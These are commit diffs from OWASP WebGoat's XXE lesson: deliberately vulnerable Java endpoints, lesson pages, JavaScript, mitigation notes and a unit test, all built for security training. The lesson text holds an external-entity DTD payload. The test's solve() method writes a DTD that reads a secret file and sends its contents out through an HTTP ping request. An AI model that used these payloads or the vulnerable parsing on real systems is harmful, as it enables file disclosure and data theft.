=== Images
Images can be refereneced as below including setting style (recommended to use lesson-image as the style). The root is {lesson}/src/main/resources
image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"]

View File

@ -0,0 +1,7 @@
=== More Content, Video too ...
You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though.
video::video/sample-video.m4v[width=480,start=5]
see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax

View File

@ -1,11 +1,13 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import com.google.common.base.Joiner;
import lombok.SneakyThrows;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ClassPathResource;
import org.springframework.http.MediaType;
@ -51,11 +53,15 @@ import java.util.List;
* @version $Id: $Id
* @since November 18, 2016
*/
@AssignmentPath("XXE/blind")
@AssignmentPath("xxe/blind")
public class BlindSendFileAssignment extends AssignmentEndpoint {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Autowired
private Comments comments;
@Autowired
private WebSession webSession;
@PostConstruct
@SneakyThrows
@ -70,22 +76,23 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
String error = "Parsing successful contents not send to server";
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
String error = "Parsing successful contents not send to attacker";
try {
//parseXml(userInfo);
Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
} catch (Exception e) {
error = ExceptionUtils.getFullStackTrace(e);
error = e.toString();
}
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt");
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI()));
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
logFile.delete();
if (solved) {
return success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build();
logFile.delete();
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
} else {
return failed().output(error).build();
return trackProgress(failed().output(error).build());
}
}

View File

@ -0,0 +1,30 @@
package org.owasp.webgoat.plugin;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Collection;
import static org.springframework.web.bind.annotation.RequestMethod.GET;
/**
* @author nbaars
* @since 5/4/17.
*/
@RestController
@RequestMapping("xxe/comments")
public class CommentsEndpoint {
@Autowired
private Comments comments;
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public Collection<Comment> retrieveComments() {
return comments.getComments();
}
}

View File

@ -1,14 +1,17 @@
package org.owasp.webgoat.plugin;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.apache.commons.exec.OS;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import java.io.IOException;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
/**
* ************************************************************************************************
@ -39,37 +42,56 @@ import java.io.IOException;
* @version $Id: $Id
* @since November 17, 2016
*/
@AssignmentPath("XXE/content-type")
@AssignmentPath("xxe/content-type")
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
public class ContentTypeAssignment extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
@Autowired
private Comments comments;
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewUser(@RequestBody String userInfo, @RequestHeader("Content-Type") String contentType) throws Exception {
User user = new User();
public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
AttackResult attackResult = failed().build();
if (MediaType.APPLICATION_JSON_VALUE.equals(contentType)) {
user = parseJson(userInfo);
Comment comment = null;
if (APPLICATION_JSON_VALUE.equals(contentType)) {
comment = comments.parseJson(commentStr);
comments.addComment(comment, true);
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
}
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
// user = parseXml(userInfo);
attackResult = failed().feedback("xxe.content.type.feedback.xml").build();
String error = "";
try {
comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
} catch (Exception e) {
error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e);
}
attackResult = failed().feedback("xxe.content.type.feedback.xml").output(error).build();
}
// if (checkSolution(user)) {
// attackResult = success().output("xxe.content.output").outputArgs(user.getUsername()).build();
// }
return attackResult;
if (checkSolution(comment)) {
attackResult = success().build();
}
return trackProgress(attackResult);
}
private User parseJson(String userInfo) {
ObjectMapper mapper = new ObjectMapper();
try {
return mapper.readValue(userInfo, User.class);
} catch (IOException e) {
return new User();
private boolean checkSolution(Comment comment) {
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
boolean success = true;
for (String directory : directoriesToCheck) {
success &= comment.getText().contains(directory);
}
return success;
}
}

View File

@ -2,12 +2,10 @@ package org.owasp.webgoat.plugin;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.*;
import java.io.File;
import java.io.FileNotFoundException;
@ -47,6 +45,8 @@ public class Ping extends Endpoint {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
@Override
public String getPath() {
@ -58,7 +58,7 @@ public class Ping extends Endpoint {
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
String logLine = String.format("%s %s %s", "GET", userAgent, text);
log.debug(logLine);
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt");
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
try {
try (PrintWriter pw = new PrintWriter(logFile)) {
pw.println(logLine);

View File

@ -1,24 +1,19 @@
package org.owasp.webgoat.plugin;
import org.apache.commons.exec.OS;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.Collection;
import static org.springframework.http.MediaType.ALL_VALUE;
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
import static org.springframework.web.bind.annotation.RequestMethod.GET;
import static org.springframework.web.bind.annotation.RequestMethod.POST;
/**
@ -65,35 +60,22 @@ public class SimpleXXE extends AssignmentEndpoint {
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
@Autowired
private Comments comments;
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public Collection<Comment> retrieveComments() {
return comments.getComments();
}
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewComment(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
Comment comment = null;
if (APPLICATION_JSON_VALUE.equals(contentType)) {
comment = comments.parseJson(commentStr);
comments.addComment(comment, true);
}
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
//Do not show these comments to all users
comment = comments.parseXml(commentStr);
public AttackResult createNewComment(@RequestBody String commentStr) throws Exception {
String error = "";
try {
Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false);
if (checkSolution(comment)) {
return trackProgress(success().build());
}
} catch (Exception e) {
error = ExceptionUtils.getFullStackTrace(e);
}
if (checkSolution(comment)) {
return trackProgress(success()
.output("xxe.simple.output")
.outputArgs(webSession.getUserName()).build());
}
return trackProgress(failed().build());
return trackProgress(failed().output(error).build());
}
private boolean checkSolution(Comment comment) {

View File

@ -2,7 +2,6 @@
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
@ -23,43 +22,51 @@
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
<div class="pull-left image">
<img th:src="@{/images/avatar1.png}"
class="img-circle avatar" alt="user profile image"/>
</div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
prepareData="simpleXXE"
callback="simpleXXECallback"
contentType="application/xml"
action="/WebGoat/xxe/simple">
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
<div class="pull-left image">
<img th:src="@{/images/avatar1.png}"
class="img-circle avatar" alt="user profile image"/>
</div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div>
<h6 class="text-muted time">24 days ago</h6>
</div>
</div>
<div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div>
<div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div>
<div class="post-description">
<div class="post-description">
</div>
<div class="post-footer">
<div class="input-group">
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/>
<span class="input-group-addon">
<i id="postComment" class="fa fa-edit" style="font-size: 20px"></i>
</div>
<div class="post-footer">
<div class="input-group">
<input class="form-control input-lg" id="commentInputSimple" placeholder="Add a comment"
type="text"/>
<span class="input-group-addon">
<button id="postCommentSimple" class="btn btn-primary">Submit</button>
</span>
</div>
<ul class="comments-list">
<div id="comments_list">
</div>
</ul>
<ul class="comments-list">
<div id="commentsListSimple">
</div>
</ul>
</div>
</div>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
@ -68,111 +75,127 @@
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" prepareData="registerJson" method="POST" name="form"
action="/WebGoat/XXE/content-type" contentType="application/json">
<div id="lessonContent">
<strong>Registration form</strong>
<form prepareData="registerJson" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
<table>
<tr>
<td>Username</td>
<td><input name="username" value="" type="TEXT"/></td>
</tr>
<tr>
<td>E-mail</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td>Password</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td></td>
<td align="right"><input type="submit" value="Sign up"/></td>
</tr>
</table>
<br/>
<br/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
prepareData="contentTypeXXE"
callback="contentTypeXXECallback"
action="xxe/content-type"
contentType="application/json">
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
<div class="pull-left image">
<img th:src="@{/images/avatar1.png}"
class="img-circle avatar" alt="user profile image"/>
</div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div>
</div>
<div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div>
<div class="post-description">
</div>
<div class="post-footer">
<div class="input-group">
<input class="form-control input-lg" id="commentInputContentType" placeholder="Add a comment"
type="text"/>
<span class="input-group-addon">
<button id="postCommentContentType" class="btn btn-primary">Submit</button>
</span>
</div>
<ul class="comments-list">
<div id="commentsListContentType">
</div>
</ul>
</div>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_blind.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" prepareData="register" method="POST" name="form"
action="/WebGoat/XXE/blind" contentType="application/xml">
<div id="lessonContent">
<strong>Registration form</strong>
<form prepareData="register" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
<table>
<tr>
<td>Username</td>
<td><input name="username" value="" type="TEXT"/></td>
</tr>
<tr>
<td>E-mail</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td>Password</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td></td>
<td align="right"><input type="submit" value="Sign up"/></td>
</tr>
</table>
<br/>
<br/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form"
prepareData="blindXXE"
callback="blindXXECallback"
action="/WebGoat/xxe/blind"
contentType="application/xml">
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
<div class="pull-left image">
<img th:src="@{/images/avatar1.png}"
class="img-circle avatar" alt="user profile image"/>
</div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div>
</div>
<div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div>
<div class="post-description">
</div>
<div class="post-footer">
<div class="input-group">
<input class="form-control input-lg" id="commentInputBlind" placeholder="Add a comment" type="text"/>
<span class="input-group-addon">
<button id="postCommentBlind" class="btn btn-primary">Submit</button>
</span>
</div>
<ul class="comments-list">
<div id="commentsListBlind">
</div>
</ul>
</div>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_mitigation.adoc"></div>
</div>

View File

@ -31,7 +31,7 @@ xxe.blind.output=Contents of the file is: {0}
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
xxe.hints.simple.xxe.3=Try to include your own DTD
xxe.hints.simple.xxe.4=Try to include a doctype (<!DOCTYPE...) in the xml
xxe.hints.simple.xxe.4=Try to include a doctype "(&lt;!DOCTYPE...)" in the xml
xxe.hints.content.type.xxe.1=Take a look at the content type
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

View File

@ -1,22 +1,52 @@
webgoat.customjs.simpleXXE = function () {
var commentInput = $("#commentInputSimple").val();
var xml = '<?xml version="1.0"?>' +
'<comment>' +
' <text>' + commentInput + '</text>' +
'</comment>';
return xml;
}
webgoat.customjs.simpleXXECallback = function() {
$("#commentInputBlind").val('');
getComments('#commentsListSimple');
}
$(document).ready(function () {
$("#postComment").unbind();
$("#postComment").on("click", function () {
var commentInput = $("#commentInput").val();
$.ajax({
type: 'POST',
url: 'xxe/simple',
data: JSON.stringify({text: commentInput}),
contentType: "application/json",
dataType: 'json'
}).then(
function () {
getComments();
$("#commentInput").val('');
}
)
})
getComments();
})
getComments('#commentsListSimple');
});
webgoat.customjs.blindXXE = function() {
var commentInput = $("#commentInputBlind").val();
var xml = '<?xml version="1.0"?>' +
'<comment>' +
' <text>' + commentInput + '</text>' +
'</comment>';
return xml;
}
webgoat.customjs.blindXXECallback = function() {
$("#commentInputBlind").val('');
getComments('#commentsListBlind');
}
$(document).ready(function () {
getComments('#commentsListBlind');
});
webgoat.customjs.contentTypeXXE = function() {
var commentInput = $("#commentInputContentType").val();
return JSON.stringify({text: commentInput});
}
webgoat.customjs.contentTypeXXECallback = function() {
$("#commentInputContentType").val('');
getComments('#commentsListContentType');
}
$(document).ready(function () {
getComments('#commentsListContentType');
});
var html = '<li class="comment">' +
'<div class="pull-left">' +
@ -31,15 +61,15 @@ var html = '<li class="comment">' +
'</div>' +
'</li>';
function getComments() {
$.get("xxe/simple", function (result, status) {
$("#comments_list").empty();
function getComments(field) {
$.get("xxe/comments", function (result, status) {
$(field).empty();
for (var i = 0; i < result.length; i++) {
var comment = html.replace('USER', result[i].user);
comment = comment.replace('DATETIME', result[i].dateTime);
comment = comment.replace('COMMENT', result[i].text);
$("#comments_list").append(comment);
$(field).append(comment);
}
});
}
}

View File

@ -8,11 +8,11 @@ Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This
[source]
----
curl -i http://localhost:8080/WebGoat/XXE/ping
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
will result in:
GET curl/7.45.0
GET curl/7.45.0 HelloWorld
----
at the server side.
@ -33,12 +33,12 @@ Now submit the form and change the xml to:
----
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/attack.dtd">
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
%remote;
]>
<user>
<username>test&ping;</username>
</user>
<comment>
<text>test&ping;</text>
</comment>
----
Now if we check our server log we will see:
@ -48,7 +48,8 @@ Now if we check our server log we will see:
GET Java/1.8.0_101 HelloWorld
----
So with the XXE we are able to ping our own server which means XXE injection is possible.
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
we are basically able to reach the same effect as we did in the beginning with the curl command.
[NOTE]
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will

View File

@ -19,3 +19,11 @@ xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
----
For more information about configuration, see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
==== Validate
Implement proper validation for the Content-type and Accept header do not simply rely on the framework to handle
the incoming request. Also if the client specifies a proper accept header return with a `406/Not Acceptable.
`

View File

@ -0,0 +1,90 @@
package org.owasp.webgoat.plugin;
import com.google.common.io.Files;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/4/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class BlindSendFileAssignmentTest extends LessonTest {
@Autowired
private Comments comments;
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Before
public void setup() throws Exception {
XXE xxe = new XXE();
when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
if (logFile.exists()) logFile.delete();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void validCommentMustBeAdded() throws Exception {
int nrOfComments = comments.getComments().size();
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</text></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
}
@Test
public void wrongXmlShouldGiveErrorBack() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</ext></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
}
@Test
public void solve() throws Exception {
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
"%all;";
Files.write(dtd.getBytes(), file);
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
"%remote;\n" +
"]>\n" +
"<comment>\n" +
" <text>test&send;</text>\n" +
"</comment>";
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
}
}